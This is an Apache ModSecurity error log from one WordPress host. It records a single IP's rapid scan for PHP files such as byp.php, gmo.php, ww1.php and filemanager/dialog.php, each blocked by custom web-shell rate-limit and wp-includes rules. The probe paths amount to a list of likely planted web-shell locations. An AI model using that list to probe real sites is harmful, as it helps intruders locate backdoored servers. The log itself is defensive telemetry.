[Sat Jan 03 03:38:32.170168 2026] [:error] [pid 1929:tid 1941] [client 4.194.208.111:18083] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aVgeuOcFqdpu6TNsuWq0CwAAAAM"]
[Sat Jan 03 03:38:32.517797 2026] [:error] [pid 1929:tid 1939] [client 4.194.208.111:10113] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aVgeuOcFqdpu6TNsuWq0DQAAAAE"]
[Sat Jan 03 03:38:32.902183 2026] [:error] [pid 1929:tid 1940] [client 4.194.208.111:10052] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aVgeuOcFqdpu6TNsuWq0DgAAAAI"]
[Sat Jan 03 03:38:33.222171 2026] [:error] [pid 1929:tid 1959] [client 4.194.208.111:18155] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-trackback.php"] [unique_id "aVgeuecFqdpu6TNsuWq0DwAAABU"]
[Sat Jan 03 03:38:33.606183 2026] [:error] [pid 2083:tid 2099] [client 4.194.208.111:10200] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-trackback.php"] [unique_id "aVgeuTVlR_BmlMPnhV6fsAAAAM4"]
[Sat Jan 03 03:38:33.912088 2026] [:error] [pid 1929:tid 1947] [client 4.194.208.111:10121] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-trackback.php"] [unique_id "aVgeuecFqdpu6TNsuWq0EQAAAAk"]
[Sat Jan 03 03:38:34.561559 2026] [:error] [pid 1929:tid 1962] [client 4.194.208.111:18093] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-trackback.php"] [unique_id "aVgeuucFqdpu6TNsuWq0EgAAABg"]
[Sat Jan 03 03:38:35.054127 2026] [:error] [pid 2083:tid 2101] [client 4.194.208.111:18130] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/index.php"] [unique_id "aVgeuzVlR_BmlMPnhV6fsgAAANA"]
[Sat Jan 03 03:38:35.615201 2026] [:error] [pid 1930:tid 1985] [client 4.194.208.111:18077] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/index.php"] [unique_id "aVgeu5P-6mqhfUDa89y8-gAAAFM"]
[Sat Jan 03 03:38:36.275345 2026] [:error] [pid 2083:tid 2108] [client 4.194.208.111:10132] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/index.php"] [unique_id "aVgevDVlR_BmlMPnhV6ftQAAANc"]
[Sat Jan 03 03:38:36.657925 2026] [:error] [pid 1931:tid 2038] [client 4.194.208.111:18124] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/index.php"] [unique_id "aVgevB8Tyw7ZoIdXlcbdegAAAI4"]
[Sat Jan 03 03:38:37.084309 2026] [:error] [pid 2083:tid 2096] [client 4.194.208.111:10224] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aVgevTVlR_BmlMPnhV6fuAAAAMs"]
[Sat Jan 03 03:38:37.411270 2026] [:error] [pid 2083:tid 2100] [client 4.194.208.111:10143] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aVgevTVlR_BmlMPnhV6fuQAAAM8"]
[Sat Jan 03 03:38:37.960165 2026] [:error] [pid 1931:tid 2040] [client 4.194.208.111:10129] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aVgevR8Tyw7ZoIdXlcbdfAAAAJA"]
[Sat Jan 03 03:38:38.517617 2026] [:error] [pid 2083:tid 2095] [client 4.194.208.111:10167] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aVgevjVlR_BmlMPnhV6fvAAAAMo"]
[Sat Jan 03 03:38:39.056839 2026] [:error] [pid 1929:tid 1949] [client 4.194.208.111:10006] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aVgev-cFqdpu6TNsuWq0FgAAAAs"]
[Sat Jan 03 03:38:39.378331 2026] [:error] [pid 2083:tid 2086] [client 4.194.208.111:10215] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aVgevzVlR_BmlMPnhV6fwAAAAME"]
[Sat Jan 03 03:38:39.673652 2026] [:error] [pid 1931:tid 2043] [client 4.194.208.111:9985] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aVgevx8Tyw7ZoIdXlcbdfgAAAJM"]
[Sat Jan 03 03:38:40.055107 2026] [:error] [pid 1931:tid 1993] [client 4.194.208.111:10228] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aVgewB8Tyw7ZoIdXlcbdfwAAAIA"]
[Sat Jan 03 03:38:40.360932 2026] [:error] [pid 1929:tid 1946] [client 4.194.208.111:10049] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aVgewOcFqdpu6TNsuWq0GAAAAAg"]
[Sat Jan 03 03:38:40.949485 2026] [:error] [pid 1929:tid 1957] [client 4.194.208.111:10214] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aVgewOcFqdpu6TNsuWq0GQAAABM"]
[Sat Jan 03 03:38:41.309537 2026] [:error] [pid 1931:tid 2044] [client 4.194.208.111:18088] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aVgewR8Tyw7ZoIdXlcbdhAAAAJQ"]
[Sat Jan 03 03:38:41.684337 2026] [:error] [pid 1931:tid 2027] [client 4.194.208.111:10122] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aVgewR8Tyw7ZoIdXlcbdhgAAAIQ"]
[Sat Jan 03 03:38:42.016192 2026] [:error] [pid 1931:tid 2037] [client 4.194.208.111:10075] [client 4.194.208.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aVgewh8Tyw7ZoIdXlcbdiAAAAI0"]
[Sat Jan 03 03:38:42.495717 2026] [:error] [pid 1931:tid 2030] [client 4.194.208.111:10219] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aVgewh8Tyw7ZoIdXlcbdjAAAAIY"]
[Sat Jan 03 03:38:42.838171 2026] [:error] [pid 1931:tid 2035] [client 4.194.208.111:10201] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aVgewh8Tyw7ZoIdXlcbdjQAAAIs"]
[Sat Jan 03 03:38:43.194963 2026] [:error] [pid 1931:tid 1994] [client 4.194.208.111:18107] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aVgewx8Tyw7ZoIdXlcbdjgAAAIE"]
[Sat Jan 03 03:38:43.457182 2026] [:error] [pid 2083:tid 2107] [client 4.194.208.111:10133] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aVgewzVlR_BmlMPnhV6fxwAAANY"]
[Sat Jan 03 03:38:43.841240 2026] [:error] [pid 2083:tid 2088] [client 4.194.208.111:10119] [client 4.194.208.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aVgewzVlR_BmlMPnhV6fyAAAAMM"]
[Sat Jan 03 03:38:44.418571 2026] [:error] [pid 1931:tid 2036] [client 4.194.208.111:10048] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aVgexB8Tyw7ZoIdXlcbdkQAAAIw"]
[Sat Jan 03 03:38:44.995208 2026] [:error] [pid 1931:tid 2045] [client 4.194.208.111:10225] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aVgexB8Tyw7ZoIdXlcbdkwAAAJU"]
[Sat Jan 03 03:38:45.613456 2026] [:error] [pid 1931:tid 2047] [client 4.194.208.111:10064] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aVgexR8Tyw7ZoIdXlcbdlAAAAJc"]
[Sat Jan 03 03:38:46.031773 2026] [:error] [pid 1931:tid 2029] [client 4.194.208.111:10203] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aVgexh8Tyw7ZoIdXlcbdlwAAAIU"]
[Sat Jan 03 03:38:46.431937 2026] [:error] [pid 1931:tid 2037] [client 4.194.208.111:10205] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aVgexh8Tyw7ZoIdXlcbdmQAAAI0"]
[Sat Jan 03 03:38:46.717257 2026] [:error] [pid 2083:tid 2105] [client 4.194.208.111:10145] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aVgexjVlR_BmlMPnhV6fzwAAANQ"]
[Sat Jan 03 03:38:47.225646 2026] [:error] [pid 1931:tid 2032] [client 4.194.208.111:10010] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aVgexx8Tyw7ZoIdXlcbdmwAAAIg"]
[Sat Jan 03 03:38:47.578152 2026] [:error] [pid 2083:tid 2101] [client 4.194.208.111:10160] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aVgexzVlR_BmlMPnhV6f1gAAANA"]
[Sat Jan 03 03:38:47.803894 2026] [:error] [pid 1929:tid 1947] [client 4.194.208.111:10062] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aVgex-cFqdpu6TNsuWq0HQAAAAk"]
[Sat Jan 03 03:38:48.141088 2026] [:error] [pid 1930:tid 1983] [client 4.194.208.111:10001] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aVgeyJP-6mqhfUDa89y9AAAAAFE"]
[Sat Jan 03 03:38:48.494753 2026] [:error] [pid 2083:tid 2088] [client 4.194.208.111:10124] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aVgeyDVlR_BmlMPnhV6f2QAAAMM"]
[Sat Jan 03 03:38:48.819787 2026] [:error] [pid 1929:tid 1951] [client 4.194.208.111:9999] [client 4.194.208.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aVgeyOcFqdpu6TNsuWq0IAAAAA0"]
[Sat Jan 03 03:38:49.087687 2026] [:error] [pid 1929:tid 1954] [client 4.194.208.111:10148] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aVgeyecFqdpu6TNsuWq0IQAAABA"]
[Sat Jan 03 03:38:49.580240 2026] [:error] [pid 1929:tid 1958] [client 4.194.208.111:10169] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aVgeyecFqdpu6TNsuWq0IgAAABQ"]
[Sat Jan 03 03:38:50.102718 2026] [:error] [pid 1930:tid 1977] [client 4.194.208.111:10057] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aVgeypP-6mqhfUDa89y9BgAAAEs"]
[Sat Jan 03 03:38:50.350983 2026] [:error] [pid 2083:tid 2104] [client 4.194.208.111:10158] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aVgeyjVlR_BmlMPnhV6f4QAAANM"]
[Sat Jan 03 03:38:50.660663 2026] [:error] [pid 1931:tid 2047] [client 4.194.208.111:10239] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aVgeyh8Tyw7ZoIdXlcbdowAAAJc"]
[Sat Jan 03 03:38:51.089903 2026] [:error] [pid 1931:tid 1993] [client 4.194.208.111:18081] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aVgeyx8Tyw7ZoIdXlcbdqgAAAIA"]
[Sat Jan 03 03:38:51.533251 2026] [:error] [pid 1930:tid 1971] [client 4.194.208.111:10110] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aVgey5P-6mqhfUDa89y9CgAAAEU"]
[Sat Jan 03 03:38:52.103997 2026] [:error] [pid 1931:tid 2048] [client 4.194.208.111:9988] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aVgezB8Tyw7ZoIdXlcbdtQAAAJg"]
[Sat Jan 03 03:38:52.319356 2026] [:error] [pid 2083:tid 2096] [client 4.194.208.111:10146] [client 4.194.208.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aVgezDVlR_BmlMPnhV6f9wAAAMs"]
[Sat Jan 03 03:38:52.569207 2026] [:error] [pid 1931:tid 2031] [client 4.194.208.111:10063] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww1.php"] [unique_id "aVgezB8Tyw7ZoIdXlcbduAAAAIc"]
[Sat Jan 03 03:38:52.821938 2026] [:error] [pid 1931:tid 2041] [client 4.194.208.111:18170] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww1.php"] [unique_id "aVgezB8Tyw7ZoIdXlcbduQAAAJE"]
[Sat Jan 03 03:38:53.029398 2026] [:error] [pid 1929:tid 1940] [client 4.194.208.111:10184] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww1.php"] [unique_id "aVgezecFqdpu6TNsuWq0MwAAAAI"]
[Sat Jan 03 03:38:53.326795 2026] [:error] [pid 2083:tid 2087] [client 4.194.208.111:10068] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aVgezTVlR_BmlMPnhV6f_wAAAMI"]
[Sat Jan 03 03:38:53.723392 2026] [:error] [pid 1931:tid 2048] [client 4.194.208.111:10140] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aVgezR8Tyw7ZoIdXlcbdxgAAAJg"]
